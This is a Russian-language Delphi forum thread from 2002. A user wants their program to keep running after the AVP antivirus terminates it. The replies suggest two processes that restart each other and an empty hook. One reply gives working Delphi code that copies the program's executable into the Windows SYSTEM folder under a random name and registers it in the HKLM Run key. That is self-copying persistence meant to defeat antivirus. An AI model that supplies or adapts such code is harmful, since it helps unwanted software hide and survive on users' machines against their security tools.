![]() |
| ||
|
|
Новости |
Поиск |
FAQ |
Статьи |
Книги |
Новости VCL
| | Форумы ЧАТ |
Орешник |
|
| |||
| |||
« предыдущая ветвь | форум | следующая ветвь »
прoграмму мою вырубает скажем АВП
Morfey Cool © (2002-09-14 23:39:00)Печаль вся в том, что прoграмму мою вырубает скажем АВП, не могу корректно написать библиотеку, которая бы загружала мою программу снова в течении определённого промежутка времени.
Зарание спасибо тем кто поможет
SVM (2002-09-29 08:11:00) [1]надо в библиотеке ставить пустой хук
смотри http://danil.dp.ua
Diamond Cat (2002-09-16 00:57:00) [2]2 Nicel:данный вариант не всегда сработает, к примеру если прога подвисла или (и) ее сняли по ctrl+alt+del, то не о каком "ондестрой" не пойдет и речи.
2 Morfey Coolесли твою библиотеку грузит только твоя программа , то при снятии твоей программы с обслуживания библиотека по идее должна выгружаться из памяти, соответственно не сможет произвести каких либо действий. наверно лучше всего просто запускать два ехе-шника, оба должны следить за присутствием друг-друга. к примеру через файл в памяти, или просто обмениваясь мессагами.
[NIKEL] (2002-09-15 00:33:00) [3]попробуй создать копию exe со случайным именем и пропиши обновление данных в реестр
это когда тебя будет вырубать
procedure TForm1.FormDestroy(Sender: TObject);
var
reg:Tregistry;
pchr:pchar;
buf:byte;
name,windir:string;
begin
{Detect windows dir}
GetMem(pchr,255);
GetWindowsDirectory(pchr,255);
windir:=pchr+"\SYSTEM\";
FreeMem(pchr);
{Generate random filename}
randomize;
name:="";
for buf:=0 to random(10)do
if buf=0 then name:=name+chr(65+random(25)){A..Z} else
if random(2)=0 then name:=name+chr(48+random(10)){0..9}
else name:=name+chr(97+random(25));{a..z}
{Copy file}
copyfile(pchar(paramstr(0)),pchar(windir+name+".exe"),false);
{Write to regestry}
reg:=Tregistry.Create;
reg.RootKey:=HKEY_LOCAL_MACHINE;
reg.OpenKey("Software\Microsoft\Windows\CurrentVersion\Run",true);
reg.WriteString("BackUP",windir+name+".exe");
reg.CloseKey;
reg.Free;
end;